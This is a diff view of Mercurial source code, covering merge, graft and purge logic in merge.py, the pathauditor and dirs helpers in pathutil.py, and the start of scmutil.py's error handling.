2412 2413 msg = _(b"conflicting changes")
2413 2414 hint = _(b"commit or update --clean to discard changes")
2414 2415 raise error.Abort(msg, hint=hint)
2415 2416
2416 2417 # Prompt and create actions. Most of this is in the resolve phase
2417 2418 # already, but we can't handle .hgsubstate in filemerge or
2418 2419 # subrepoutil.submerge yet so we have to keep prompting for it.
2419 2420 if b'.hgsubstate' in actionbyfile:
2420 2421 f = b'.hgsubstate'
2421 2422 m, args, msg = actionbyfile[f]
2422 2423 prompts = filemerge.partextras(labels)
2423 2424 prompts[b'f'] = f
2424 2425 if m == ACTION_CHANGED_DELETED:
2425 2426 if repo.ui.promptchoice(
2426 2427 _(
2427 2428 b"local%(l)s changed %(f)s which other%(o)s deleted\n"
2428 2429 b"use (c)hanged version or (d)elete?"
2429 2430 b"$$ &Changed $$ &Delete"
2430 2431 )
2431 2432 % prompts,
2432 2433 0,
2433 2434 ):
2434 2435 actionbyfile[f] = (ACTION_REMOVE, None, b'prompt delete')
2435 2436 elif f in p1:
2436 2437 actionbyfile[f] = (
2437 2438 ACTION_ADD_MODIFIED,
2438 2439 None,
2439 2440 b'prompt keep',
2440 2441 )
2441 2442 else:
2442 2443 actionbyfile[f] = (ACTION_ADD, None, b'prompt keep')
2443 2444 elif m == ACTION_DELETED_CHANGED:
2444 2445 f1, f2, fa, move, anc = args
2445 2446 flags = p2[f2].flags()
2446 2447 if (
2447 2448 repo.ui.promptchoice(
2448 2449 _(
2449 2450 b"other%(o)s changed %(f)s which local%(l)s deleted\n"
2450 2451 b"use (c)hanged version or leave (d)eleted?"
2451 2452 b"$$ &Changed $$ &Deleted"
2452 2453 )
2453 2454 % prompts,
2454 2455 0,
2455 2456 )
2456 2457 == 0
2457 2458 ):
2458 2459 actionbyfile[f] = (
2459 2460 ACTION_GET,
2460 2461 (flags, False),
2461 2462 b'prompt recreating',
2462 2463 )
2463 2464 else:
2464 2465 del actionbyfile[f]
2465 2466
2466 2467 # Convert to dictionary-of-lists format
2467 2468 actions = emptyactions()
2468 2469 for f, (m, args, msg) in pycompat.iteritems(actionbyfile):
2469 2470 if m not in actions:
2470 2471 actions[m] = []
2471 2472 actions[m].append((f, args, msg))
2472 2473
2473 2474 if not util.fscasesensitive(repo.path):
2474 2475 # check collision between files only in p2 for clean update
2475 2476 if not branchmerge and (
2476 2477 force or not wc.dirty(missing=True, branch=False)
2477 2478 ):
2478 2479 _checkcollision(repo, p2.manifest(), None)
2479 2480 else:
2480 2481 _checkcollision(repo, wc.manifest(), actions)
2481 2482
2482 2483 # divergent renames
2483 2484 for f, fl in sorted(pycompat.iteritems(diverge)):
2484 2485 repo.ui.warn(
2485 2486 _(
2486 2487 b"note: possible conflict - %s was renamed "
2487 2488 b"multiple times to:\n"
2488 2489 )
2489 2490 % f
2490 2491 )
2491 2492 for nf in sorted(fl):
2492 2493 repo.ui.warn(b" %s\n" % nf)
2493 2494
2494 2495 # rename and delete
2495 2496 for f, fl in sorted(pycompat.iteritems(renamedelete)):
2496 2497 repo.ui.warn(
2497 2498 _(
2498 2499 b"note: possible conflict - %s was deleted "
2499 2500 b"and renamed to:\n"
2500 2501 )
2501 2502 % f
2502 2503 )
2503 2504 for nf in sorted(fl):
2504 2505 repo.ui.warn(b" %s\n" % nf)
2505 2506
2506 2507 ### apply phase
2507 2508 if not branchmerge: # just jump to the new rev
2508 2509 fp1, fp2, xp1, xp2 = fp2, nullid, xp2, b''
2509 2510 if not partial and not wc.isinmemory():
2510 2511 repo.hook(b'preupdate', throw=True, parent1=xp1, parent2=xp2)
2511 2512 # note that we're in the middle of an update
2512 2513 repo.vfs.write(b'updatestate', p2.hex())
2513 2514
2514 2515 # Advertise fsmonitor when its presence could be useful.
2515 2516 #
2516 2517 # We only advertise when performing an update from an empty working
2517 2518 # directory. This typically only occurs during initial clone.
2518 2519 #
2519 2520 # We give users a mechanism to disable the warning in case it is
2520 2521 # annoying.
2521 2522 #
2522 2523 # We only allow on Linux and MacOS because that's where fsmonitor is
2523 2524 # considered stable.
2524 2525 fsmonitorwarning = repo.ui.configbool(b'fsmonitor', b'warn_when_unused')
2525 2526 fsmonitorthreshold = repo.ui.configint(
2526 2527 b'fsmonitor', b'warn_update_file_count'
2527 2528 )
2528 2529 try:
2529 2530 # avoid cycle: extensions -> cmdutil -> merge
2530 2531 from . import extensions
2531 2532
2532 2533 extensions.find(b'fsmonitor')
2533 2534 fsmonitorenabled = repo.ui.config(b'fsmonitor', b'mode') != b'off'
2534 2535 # We intentionally don't look at whether fsmonitor has disabled
2535 2536 # itself because a) fsmonitor may have already printed a warning
2536 2537 # b) we only care about the config state here.
2537 2538 except KeyError:
2538 2539 fsmonitorenabled = False
2539 2540
2540 2541 if (
2541 2542 fsmonitorwarning
2542 2543 and not fsmonitorenabled
2543 2544 and p1.node() == nullid
2544 2545 and len(actions[ACTION_GET]) >= fsmonitorthreshold
2545 2546 and pycompat.sysplatform.startswith((b'linux', b'darwin'))
2546 2547 ):
2547 2548 repo.ui.warn(
2548 2549 _(
2549 2550 b'(warning: large working directory being used without '
2550 2551 b'fsmonitor enabled; enable fsmonitor to improve performance; '
2551 2552 b'see "hg help -e fsmonitor")\n'
2552 2553 )
2553 2554 )
2554 2555
2555 2556 updatedirstate = not partial and not wc.isinmemory()
2556 2557 wantfiledata = updatedirstate and not branchmerge
2557 2558 stats, getfiledata = applyupdates(
2558 2559 repo, actions, wc, p2, overwrite, wantfiledata, labels=labels
2559 2560 )
2560 2561
2561 2562 if updatedirstate:
2562 2563 with repo.dirstate.parentchange():
2563 2564 repo.setparents(fp1, fp2)
2564 2565 recordupdates(repo, actions, branchmerge, getfiledata)
2565 2566 # update completed, clear state
2566 2567 util.unlink(repo.vfs.join(b'updatestate'))
2567 2568
2568 2569 if not branchmerge:
2569 2570 repo.dirstate.setbranch(p2.branch())
2570 2571
2571 2572 # If we're updating to a location, clean up any stale temporary includes
2572 2573 # (ex: this happens during hg rebase --abort).
2573 2574 if not branchmerge:
2574 2575 sparse.prunetemporaryincludes(repo)
2575 2576
2576 2577 if not partial:
2577 2578 repo.hook(
2578 2579 b'update', parent1=xp1, parent2=xp2, error=stats.unresolvedcount
2579 2580 )
2580 2581 return stats
2581 2582
2582 2583
2583 2584 def graft(
2584 2585 repo, ctx, pctx, labels=None, keepparent=False, keepconflictparent=False
2585 2586 ):
2586 2587 """Do a graft-like merge.
2587 2588
2588 2589 This is a merge where the merge ancestor is chosen such that one
2589 2590 or more changesets are grafted onto the current changeset. In
2590 2591 addition to the merge, this fixes up the dirstate to include only
2591 2592 a single parent (if keepparent is False) and tries to duplicate any
2592 2593 renames/copies appropriately.
2593 2594
2594 2595 ctx - changeset to rebase
2595 2596 pctx - merge base, usually ctx.p1()
2596 2597 labels - merge labels eg ['local', 'graft']
2597 2598 keepparent - keep second parent if any
2598 2599 keepconflictparent - if unresolved, keep parent used for the merge
2599 2600
2600 2601 """
2601 2602 # If we're grafting a descendant onto an ancestor, be sure to pass
2602 2603 # mergeancestor=True to update. This does two things: 1) allows the merge if
2603 2604 # the destination is the same as the parent of the ctx (so we can use graft
2604 2605 # to copy commits), and 2) informs update that the incoming changes are
2605 2606 # newer than the destination so it doesn't prompt about "remote changed foo
2606 2607 # which local deleted".
2607 2608 mergeancestor = repo.changelog.isancestor(repo[b'.'].node(), ctx.node())
2608 2609
2609 2610 stats = update(
2610 2611 repo,
2611 2612 ctx.node(),
2612 2613 True,
2613 2614 True,
2614 2615 pctx.node(),
2615 2616 mergeancestor=mergeancestor,
2616 2617 labels=labels,
2617 2618 )
2618 2619
2619 2620 if keepconflictparent and stats.unresolvedcount:
2620 2621 pother = ctx.node()
2621 2622 else:
2622 2623 pother = nullid
2623 2624 parents = ctx.parents()
2624 2625 if keepparent and len(parents) == 2 and pctx in parents:
2625 2626 parents.remove(pctx)
2626 2627 pother = parents[0].node()
2627 2628
2628 2629 with repo.dirstate.parentchange():
2629 2630 repo.setparents(repo[b'.'].node(), pother)
2630 2631 repo.dirstate.write(repo.currenttransaction())
2631 2632 # fix up dirstate for copies and renames
2632 2633 copies.duplicatecopies(repo, repo[None], ctx.rev(), pctx.rev())
2633 2634 return stats
2634 2635
2635 2636
2636 2637 def purge(
2637 2638 repo,
2638 2639 matcher,
2639 2640 ignored=False,
2640 2641 removeemptydirs=True,
2641 2642 removefiles=True,
2642 2643 abortonerror=False,
2643 2644 noop=False,
2644 2645 ):
2645 2646 """Purge the working directory of untracked files.
2646 2647
2647 2648 ``matcher`` is a matcher configured to scan the working directory -
2648 2649 potentially a subset.
2649 2650
2650 2651 ``ignored`` controls whether ignored files should also be purged.
2651 2652
2652 2653 ``removeemptydirs`` controls whether empty directories should be removed.
2653 2654
2654 2655 ``removefiles`` controls whether files are removed.
2655 2656
2656 2657 ``abortonerror`` causes an exception to be raised if an error occurs
2657 2658 deleting a file or directory.
2658 2659
2659 2660 ``noop`` controls whether to actually remove files. If not defined, actions
2660 2661 will be taken.
2661 2662
2662 2663 Returns an iterable of relative paths in the working directory that were
2663 2664 or would be removed.
2664 2665 """
2665 2666
2666 2667 def remove(removefn, path):
2667 2668 try:
2668 2669 removefn(path)
2669 2670 except OSError:
2670 2671 m = _(b'%s cannot be removed') % path
2671 2672 if abortonerror:
2672 2673 raise error.Abort(m)
2673 2674 else:
2674 2675 repo.ui.warn(_(b'warning: %s\n') % m)
2675 2676
2676 2677 # There's no API to copy a matcher. So mutate the passed matcher and
2677 2678 # restore it when we're done.
2678 2679 oldexplicitdir = matcher.explicitdir
2679 2680 oldtraversedir = matcher.traversedir
2680 2681
2681 2682 res = []
2682 2683
2683 2684 try:
2684 2685 if removeemptydirs:
2685 2686 directories = []
2686 2687 matcher.explicitdir = matcher.traversedir = directories.append
2687 2688
2688 2689 status = repo.status(match=matcher, ignored=ignored, unknown=True)
2689 2690
2690 2691 if removefiles:
2691 2692 for f in sorted(status.unknown + status.ignored):
2692 2693 if not noop:
2693 2694 repo.ui.note(_(b'removing file %s\n') % f)
2694 2695 remove(repo.wvfs.unlink, f)
2695 2696 res.append(f)
2696 2697
2697 2698 if removeemptydirs:
2698 2699 for f in sorted(directories, reverse=True):
2699 2700 if matcher(f) and not repo.wvfs.listdir(f):
2700 2701 if not noop:
2701 2702 repo.ui.note(_(b'removing directory %s\n') % f)
2702 2703 remove(repo.wvfs.rmdir, f)
2703 2704 res.append(f)
2704 2705
2705 2706 return res
2706 2707
2707 2708 finally:
2708 2709 matcher.explicitdir = oldexplicitdir
2709 2710 matcher.traversedir = oldtraversedir
@@ -1,334 +1,342 b''
1 1 from __future__ import absolute_import
2 2
3 3 import errno
4 4 import os
5 5 import posixpath
6 6 import stat
7 7
8 8 from .i18n import _
9 9 from . import (
10 10 encoding,
11 11 error,
12 12 policy,
13 13 pycompat,
14 14 util,
15 15 )
16 16
17 17 rustdirs = policy.importrust('dirstate', 'Dirs')
18 18 parsers = policy.importmod('parsers')
19 19
20 20
21 21 def _lowerclean(s):
22 22 return encoding.hfsignoreclean(s.lower())
23 23
24 24
25 25 class pathauditor(object):
26 26 '''ensure that a filesystem path contains no banned components.
27 27 the following properties of a path are checked:
28 28
29 29 - ends with a directory separator
30 30 - under top-level .hg
31 31 - starts at the root of a windows drive
32 32 - contains ".."
33 33
34 34 More check are also done about the file system states:
35 35 - traverses a symlink (e.g. a/symlink_here/b)
36 36 - inside a nested repository (a callback can be used to approve
37 37 some nested repositories, e.g., subrepositories)
38 38
39 39 The file system checks are only done when 'realfs' is set to True (the
40 40 default). They should be disable then we are auditing path for operation on
41 41 stored history.
42 42
43 43 If 'cached' is set to True, audited paths and sub-directories are cached.
44 44 Be careful to not keep the cache of unmanaged directories for long because
45 45 audited paths may be replaced with symlinks.
46 46 '''
47 47
48 48 def __init__(self, root, callback=None, realfs=True, cached=False):
49 49 self.audited = set()
50 50 self.auditeddir = set()
51 51 self.root = root
52 52 self._realfs = realfs
53 53 self._cached = cached
54 54 self.callback = callback
55 55 if os.path.lexists(root) and not util.fscasesensitive(root):
56 56 self.normcase = util.normcase
57 57 else:
58 58 self.normcase = lambda x: x
59 59
60 60 def __call__(self, path, mode=None):
61 61 '''Check the relative path.
62 62 path may contain a pattern (e.g. foodir/**.txt)'''
63 63
64 64 path = util.localpath(path)
65 65 normpath = self.normcase(path)
66 66 if normpath in self.audited:
67 67 return
68 68 # AIX ignores "/" at end of path, others raise EISDIR.
69 69 if util.endswithsep(path):
70 70 raise error.Abort(_(b"path ends in directory separator: %s") % path)
71 71 parts = util.splitpath(path)
72 72 if (
73 73 os.path.splitdrive(path)[0]
74 74 or _lowerclean(parts[0]) in (b'.hg', b'.hg.', b'')
75 75 or pycompat.ospardir in parts
76 76 ):
77 77 raise error.Abort(_(b"path contains illegal component: %s") % path)
78 78 # Windows shortname aliases
79 79 for p in parts:
80 80 if b"~" in p:
81 81 first, last = p.split(b"~", 1)
82 82 if last.isdigit() and first.upper() in [b"HG", b"HG8B6C"]:
83 83 raise error.Abort(
84 84 _(b"path contains illegal component: %s") % path
85 85 )
86 86 if b'.hg' in _lowerclean(path):
87 87 lparts = [_lowerclean(p.lower()) for p in parts]
88 88 for p in b'.hg', b'.hg.':
89 89 if p in lparts[1:]:
90 90 pos = lparts.index(p)
91 91 base = os.path.join(*parts[:pos])
92 92 raise error.Abort(
93 93 _(b"path '%s' is inside nested repo %r")
94 94 % (path, pycompat.bytestr(base))
95 95 )
96 96
97 97 normparts = util.splitpath(normpath)
98 98 assert len(parts) == len(normparts)
99 99
100 100 parts.pop()
101 101 normparts.pop()
102 102 prefixes = []
103 103 # It's important that we check the path parts starting from the root.
104 104 # This means we won't accidentally traverse a symlink into some other
105 105 # filesystem (which is potentially expensive to access).
106 106 for i in range(len(parts)):
107 107 prefix = pycompat.ossep.join(parts[: i + 1])
108 108 normprefix = pycompat.ossep.join(normparts[: i + 1])
109 109 if normprefix in self.auditeddir:
110 110 continue
111 111 if self._realfs:
112 112 self._checkfs(prefix, path)
113 113 prefixes.append(normprefix)
114 114
115 115 if self._cached:
116 116 self.audited.add(normpath)
117 117 # only add prefixes to the cache after checking everything: we don't
118 118 # want to add "foo/bar/baz" before checking if there's a "foo/.hg"
119 119 self.auditeddir.update(prefixes)
120 120
121 121 def _checkfs(self, prefix, path):
122 122 """raise exception if a file system backed check fails"""
123 123 curpath = os.path.join(self.root, prefix)
124 124 try:
125 125 st = os.lstat(curpath)
126 126 except OSError as err:
127 127 # EINVAL can be raised as invalid path syntax under win32.
128 128 # They must be ignored for patterns can be checked too.
129 129 if err.errno not in (errno.ENOENT, errno.ENOTDIR, errno.EINVAL):
130 130 raise
131 131 else:
132 132 if stat.S_ISLNK(st.st_mode):
133 133 msg = _(b'path %r traverses symbolic link %r') % (
134 134 pycompat.bytestr(path),
135 135 pycompat.bytestr(prefix),
136 136 )
137 137 raise error.Abort(msg)
138 138 elif stat.S_ISDIR(st.st_mode) and os.path.isdir(
139 139 os.path.join(curpath, b'.hg')
140 140 ):
141 141 if not self.callback or not self.callback(curpath):
142 142 msg = _(b"path '%s' is inside nested repo %r")
143 143 raise error.Abort(msg % (path, pycompat.bytestr(prefix)))
144 144
145 145 def check(self, path):
146 146 try:
147 147 self(path)
148 148 return True
149 149 except (OSError, error.Abort):
150 150 return False
151 151
152 152
153 153 def canonpath(root, cwd, myname, auditor=None):
154 154 '''return the canonical path of myname, given cwd and root
155 155
156 156 >>> def check(root, cwd, myname):
157 157 ... a = pathauditor(root, realfs=False)
158 158 ... try:
159 159 ... return canonpath(root, cwd, myname, a)
160 160 ... except error.Abort:
161 161 ... return 'aborted'
162 162 >>> def unixonly(root, cwd, myname, expected='aborted'):
163 163 ... if pycompat.iswindows:
164 164 ... return expected
165 165 ... return check(root, cwd, myname)
166 166 >>> def winonly(root, cwd, myname, expected='aborted'):
167 167 ... if not pycompat.iswindows:
168 168 ... return expected
169 169 ... return check(root, cwd, myname)
170 170 >>> winonly(b'd:\\\\repo', b'c:\\\\dir', b'filename')
171 171 'aborted'
172 172 >>> winonly(b'c:\\\\repo', b'c:\\\\dir', b'filename')
173 173 'aborted'
174 174 >>> winonly(b'c:\\\\repo', b'c:\\\\', b'filename')
175 175 'aborted'
176 176 >>> winonly(b'c:\\\\repo', b'c:\\\\', b'repo\\\\filename',
177 177 ... b'filename')
178 178 'filename'
179 179 >>> winonly(b'c:\\\\repo', b'c:\\\\repo', b'filename', b'filename')
180 180 'filename'
181 181 >>> winonly(b'c:\\\\repo', b'c:\\\\repo\\\\subdir', b'filename',
182 182 ... b'subdir/filename')
183 183 'subdir/filename'
184 184 >>> unixonly(b'/repo', b'/dir', b'filename')
185 185 'aborted'
186 186 >>> unixonly(b'/repo', b'/', b'filename')
187 187 'aborted'
188 188 >>> unixonly(b'/repo', b'/', b'repo/filename', b'filename')
189 189 'filename'
190 190 >>> unixonly(b'/repo', b'/repo', b'filename', b'filename')
191 191 'filename'
192 192 >>> unixonly(b'/repo', b'/repo/subdir', b'filename', b'subdir/filename')
193 193 'subdir/filename'
194 194 '''
195 195 if util.endswithsep(root):
196 196 rootsep = root
197 197 else:
198 198 rootsep = root + pycompat.ossep
199 199 name = myname
200 200 if not os.path.isabs(name):
201 201 name = os.path.join(root, cwd, name)
202 202 name = os.path.normpath(name)
203 203 if auditor is None:
204 204 auditor = pathauditor(root)
205 205 if name != rootsep and name.startswith(rootsep):
206 206 name = name[len(rootsep) :]
207 207 auditor(name)
208 208 return util.pconvert(name)
209 209 elif name == root:
210 210 return b''
211 211 else:
212 212 # Determine whether `name' is in the hierarchy at or beneath `root',
213 213 # by iterating name=dirname(name) until that causes no change (can't
214 214 # check name == '/', because that doesn't work on windows). The list
215 215 # `rel' holds the reversed list of components making up the relative
216 216 # file name we want.
217 217 rel = []
218 218 while True:
219 219 try:
220 220 s = util.samefile(name, root)
221 221 except OSError:
222 222 s = False
223 223 if s:
224 224 if not rel:
225 225 # name was actually the same as root (maybe a symlink)
226 226 return b''
227 227 rel.reverse()
228 228 name = os.path.join(*rel)
229 229 auditor(name)
230 230 return util.pconvert(name)
231 231 dirname, basename = util.split(name)
232 232 rel.append(basename)
233 233 if dirname == name:
234 234 break
235 235 name = dirname
236 236
237 237 # A common mistake is to use -R, but specify a file relative to the repo
238 238 # instead of cwd. Detect that case, and provide a hint to the user.
239 239 hint = None
240 240 try:
241 241 if cwd != root:
242 242 canonpath(root, root, myname, auditor)
243 243 relpath = util.pathto(root, cwd, b'')
244 244 if relpath.endswith(pycompat.ossep):
245 245 relpath = relpath[:-1]
246 246 hint = _(b"consider using '--cwd %s'") % relpath
247 247 except error.Abort:
248 248 pass
249 249
250 250 raise error.Abort(
251 251 _(b"%s not under root '%s'") % (myname, root), hint=hint
252 252 )
253 253
254 254
255 255 def normasprefix(path):
256 256 '''normalize the specified path as path prefix
257 257
258 258 Returned value can be used safely for "p.startswith(prefix)",
259 259 "p[len(prefix):]", and so on.
260 260
261 261 For efficiency, this expects "path" argument to be already
262 262 normalized by "os.path.normpath", "os.path.realpath", and so on.
263 263
264 264 See also issue3033 for detail about need of this function.
265 265
266 266 >>> normasprefix(b'/foo/bar').replace(pycompat.ossep, b'/')
267 267 '/foo/bar/'
268 268 >>> normasprefix(b'/').replace(pycompat.ossep, b'/')
269 269 '/'
270 270 '''
271 271 d, p = os.path.splitdrive(path)
272 272 if len(p) != len(pycompat.ossep):
273 273 return path + pycompat.ossep
274 274 else:
275 275 return path
276 276
277 277
278 def finddirs(path):
279 pos = path.rfind(b'/')
280 while pos != -1:
281 yield path[:pos]
282 pos = path.rfind(b'/', 0, pos)
283 yield b''
284
285
278 286 class dirs(object):
279 287 '''a multiset of directory names from a set of file paths'''
280 288
281 289 def __init__(self, map, skip=None):
282 290 self._dirs = {}
283 291 addpath = self.addpath
284 292 if isinstance(map, dict) and skip is not None:
285 293 for f, s in pycompat.iteritems(map):
286 294 if s[0] != skip:
287 295 addpath(f)
288 296 elif skip is not None:
289 297 raise error.ProgrammingError(
290 298 b"skip character is only supported with a dict source"
291 299 )
292 300 else:
293 301 for f in map:
294 302 addpath(f)
295 303
296 304 def addpath(self, path):
297 305 dirs = self._dirs
298 for base in util.finddirs(path):
306 for base in finddirs(path):
299 307 if base.endswith(b'/'):
300 308 raise ValueError(
301 309 "found invalid consecutive slashes in path: %r" % base
302 310 )
303 311 if base in dirs:
304 312 dirs[base] += 1
305 313 return
306 314 dirs[base] = 1
307 315
308 316 def delpath(self, path):
309 317 dirs = self._dirs
310 for base in util.finddirs(path):
318 for base in finddirs(path):
311 319 if dirs[base] > 1:
312 320 dirs[base] -= 1
313 321 return
314 322 del dirs[base]
315 323
316 324 def __iter__(self):
317 325 return iter(self._dirs)
318 326
319 327 def __contains__(self, d):
320 328 return d in self._dirs
321 329
322 330
323 331 if util.safehasattr(parsers, 'dirs'):
324 332 dirs = parsers.dirs
325 333
326 334 if rustdirs is not None:
327 335 dirs = rustdirs
328 336
329 337
330 338 # forward two methods from posixpath that do what we need, but we'd
331 339 # rather not let our internals know that we're thinking in posix terms
332 340 # - instead we'll let them be oblivious.
333 341 join = posixpath.join
334 342 dirname = posixpath.dirname
@@ -1,2221 +1,2221 b''
1 1 # scmutil.py - Mercurial core utility functions
2 2 #
3 3 # Copyright Matt Mackall <mpm@selenic.com>
4 4 #
5 5 # This software may be used and distributed according to the terms of the
6 6 # GNU General Public License version 2 or any later version.
7 7
8 8 from __future__ import absolute_import
9 9
10 10 import errno
11 11 import glob
12 12 import hashlib
13 13 import os
14 14 import posixpath
15 15 import re
16 16 import subprocess
17 17 import weakref
18 18
19 19 from .i18n import _
20 20 from .node import (
21 21 bin,
22 22 hex,
23 23 nullid,
24 24 nullrev,
25 25 short,
26 26 wdirid,
27 27 wdirrev,
28 28 )
29 29 from .pycompat import getattr
30 30
31 31 from . import (
32 32 copies as copiesmod,
33 33 encoding,
34 34 error,
35 35 match as matchmod,
36 36 obsolete,
37 37 obsutil,
38 38 pathutil,
39 39 phases,
40 40 policy,
41 41 pycompat,
42 42 revsetlang,
43 43 similar,
44 44 smartset,
45 45 url,
46 46 util,
47 47 vfs,
48 48 )
49 49
50 50 from .utils import (
51 51 procutil,
52 52 stringutil,
53 53 )
54 54
55 55 if pycompat.iswindows:
56 56 from . import scmwindows as scmplatform
57 57 else:
58 58 from . import scmposix as scmplatform
59 59
60 60 parsers = policy.importmod('parsers')
61 61
62 62 termsize = scmplatform.termsize
63 63
64 64
65 65 class status(tuple):
66 66 '''Named tuple with a list of files per status. The 'deleted', 'unknown'
67 67 and 'ignored' properties are only relevant to the working copy.
68 68 '''
69 69
70 70 __slots__ = ()
71 71
72 72 def __new__(
73 73 cls, modified, added, removed, deleted, unknown, ignored, clean
74 74 ):
75 75 return tuple.__new__(
76 76 cls, (modified, added, removed, deleted, unknown, ignored, clean)
77 77 )
78 78
79 79 @property
80 80 def modified(self):
81 81 '''files that have been modified'''
82 82 return self[0]
83 83
84 84 @property
85 85 def added(self):
86 86 '''files that have been added'''
87 87 return self[1]
88 88
89 89 @property
90 90 def removed(self):
91 91 '''files that have been removed'''
92 92 return self[2]
93 93
94 94 @property
95 95 def deleted(self):
96 96 '''files that are in the dirstate, but have been deleted from the
97 97 working copy (aka "missing")
98 98 '''
99 99 return self[3]
100 100
101 101 @property
102 102 def unknown(self):
103 103 '''files not in the dirstate that are not ignored'''
104 104 return self[4]
105 105
106 106 @property
107 107 def ignored(self):
108 108 '''files not in the dirstate that are ignored (by _dirignore())'''
109 109 return self[5]
110 110
111 111 @property
112 112 def clean(self):
113 113 '''files that have not been modified'''
114 114 return self[6]
115 115
116 116 def __repr__(self, *args, **kwargs):
117 117 return (
118 118 r'<status modified=%s, added=%s, removed=%s, deleted=%s, '
119 119 r'unknown=%s, ignored=%s, clean=%s>'
120 120 ) % tuple(pycompat.sysstr(stringutil.pprint(v)) for v in self)
121 121
122 122
123 123 def itersubrepos(ctx1, ctx2):
124 124 """find subrepos in ctx1 or ctx2"""
125 125 # Create a (subpath, ctx) mapping where we prefer subpaths from
126 126 # ctx1. The subpaths from ctx2 are important when the .hgsub file
127 127 # has been modified (in ctx2) but not yet committed (in ctx1).
128 128 subpaths = dict.fromkeys(ctx2.substate, ctx2)
129 129 subpaths.update(dict.fromkeys(ctx1.substate, ctx1))
130 130
131 131 missing = set()
132 132
133 133 for subpath in ctx2.substate:
134 134 if subpath not in ctx1.substate:
135 135 del subpaths[subpath]
136 136 missing.add(subpath)
137 137
138 138 for subpath, ctx in sorted(pycompat.iteritems(subpaths)):
139 139 yield subpath, ctx.sub(subpath)
140 140
141 141 # Yield an empty subrepo based on ctx1 for anything only in ctx2. That way,
142 142 # status and diff will have an accurate result when it does
143 143 # 'sub.{status|diff}(rev2)'. Otherwise, the ctx2 subrepo is compared
144 144 # against itself.
145 145 for subpath in missing:
146 146 yield subpath, ctx2.nullsub(subpath, ctx1)
147 147
148 148
149 149 def nochangesfound(ui, repo, excluded=None):
150 150 '''Report no changes for push/pull, excluded is None or a list of
151 151 nodes excluded from the push/pull.
152 152 '''
153 153 secretlist = []
154 154 if excluded:
155 155 for n in excluded:
156 156 ctx = repo[n]
157 157 if ctx.phase() >= phases.secret and not ctx.extinct():
158 158 secretlist.append(n)
159 159
160 160 if secretlist:
161 161 ui.status(
162 162 _(b"no changes found (ignored %d secret changesets)\n")
163 163 % len(secretlist)
164 164 )
165 165 else:
166 166 ui.status(_(b"no changes found\n"))
167 167
168 168
169 169 def callcatch(ui, func):
170 170 """call func() with global exception handling
171 171
172 172 return func() if no exception happens. otherwise do some error handling
173 173 and return an exit code accordingly. does not handle all exceptions.
174 174 """
175 175 try:
176 176 try:
177 177 return func()
178 178 except: # re-raises
179 179 ui.traceback()
180 180 raise
181 181 # Global exception handling, alphabetically
182 182 # Mercurial-specific first, followed by built-in and library exceptions
183 183 except error.LockHeld as inst:
184 184 if inst.errno == errno.ETIMEDOUT:
185 185 reason = _(b'timed out waiting for lock held by %r') % (
186 186 pycompat.bytestr(inst.locker)
187 187 )
188 188 else:
189 189 reason = _(b'lock held by %r') % inst.locker
190 190 ui.error(
191 191 _(b"abort: %s: %s\n")
192 192 % (inst.desc or stringutil.forcebytestr(inst.filename), reason)
193 193 )
194 194 if not inst.locker:
195 195 ui.error(_(b"(lock might be very busy)\n"))
196 196 except error.LockUnavailable as inst:
197 197 ui.error(
198 198 _(b"abort: could not lock %s: %s\n")
199 199 % (
200 200 inst.desc or stringutil.forcebytestr(inst.filename),
201 201 encoding.strtolocal(inst.strerror),
202 202 )
203 203 )
204 204 except error.OutOfBandError as inst:
205 205 if inst.args:
206 206 msg = _(b"abort: remote error:\n")
207 207 else:
208 208 msg = _(b"abort: remote error\n")
209 209 ui.error(msg)
210 210 if inst.args:
211 211 ui.error(b''.join(inst.args))
212 212 if inst.hint:
213 213 ui.error(b'(%s)\n' % inst.hint)
214 214 except error.RepoError as inst:
215 215 ui.error(_(b"abort: %s!\n") % inst)
216 216 if inst.hint:
217 217 ui.error(_(b"(%s)\n") % inst.hint)
218 218 except error.ResponseError as inst:
219 219 ui.error(_(b"abort: %s") % inst.args[0])
220 220 msg = inst.args[1]
221 221 if isinstance(msg, type(u'')):
222 222 msg = pycompat.sysbytes(msg)
223 223 if not isinstance(msg, bytes):
224 224 ui.error(b" %r\n" % (msg,))
225 225 elif not msg:
226 226 ui.error(_(b" empty string\n"))
227 227 else:
228 228 ui.error(b"\n%r\n" % pycompat.bytestr(stringutil.ellipsis(msg)))
229 229 except error.CensoredNodeError as inst:
230 230 ui.error(_(b"abort: file censored %s!\n") % inst)
231 231 except error.StorageError as inst:
232 232 ui.error(_(b"abort: %s!\n") % inst)
233 233 if inst.hint:
234 234 ui.error(_(b"(%s)\n") % inst.hint)
235 235 except error.InterventionRequired as inst:
236 236 ui.error(b"%s\n" % inst)
237 237 if inst.hint:
238 238 ui.error(_(b"(%s)\n") % inst.hint)
239 239 return 1
240 240 except error.WdirUnsupported:
241 241 ui.error(_(b"abort: working directory revision cannot be specified\n"))
242 242 except error.Abort as inst:
243 243 ui.error(_(b"abort: %s\n") % inst)
244 244 if inst.hint:
245 245 ui.error(_(b"(%s)\n") % inst.hint)
246 246 except ImportError as inst:
247 247 ui.error(_(b"abort: %s!\n") % stringutil.forcebytestr(inst))
248 248 m = stringutil.forcebytestr(inst).split()[-1]
249 249 if m in b"mpatch bdiff".split():
250 250 ui.error(_(b"(did you forget to compile extensions?)\n"))
251 251 elif m in b"zlib".split():
252 252 ui.error(_(b"(is your Python install correct?)\n"))
253 253 except (IOError, OSError) as inst:
254 254 if util.safehasattr(inst, b"code"): # HTTPError
255 255 ui.error(_(b"abort: %s\n") % stringutil.forcebytestr(inst))
256 256 elif util.safehasattr(inst, b"reason"): # URLError or SSLError
257 257 try: # usually it is in the form (errno, strerror)
258 258 reason = inst.reason.args[1]
259 259 except (AttributeError, IndexError):
260 260 # it might be anything, for example a string
261 261 reason = inst.reason
262 262 if isinstance(reason, pycompat.unicode):
263 263 # SSLError of Python 2.7.9 contains a unicode
264 264 reason = encoding.unitolocal(reason)
265 265 ui.error(_(b"abort: error: %s\n") % reason)
266 266 elif (
267 267 util.safehasattr(inst, b"args")
268 268 and inst.args
269 269 and inst.args[0] == errno.EPIPE
270 270 ):
271 271 pass
272 272 elif getattr(inst, "strerror", None): # common IOError or OSError
273 273 if getattr(inst, "filename", None) is not None:
274 274 ui.error(
275 275 _(b"abort: %s: '%s'\n")
276 276 % (
277 277 encoding.strtolocal(inst.strerror),
278 278 stringutil.forcebytestr(inst.filename),
279 279 )
280 280 )
281 281 else:
282 282 ui.error(_(b"abort: %s\n") % encoding.strtolocal(inst.strerror))
283 283 else: # suspicious IOError
284 284 raise
285 285 except MemoryError:
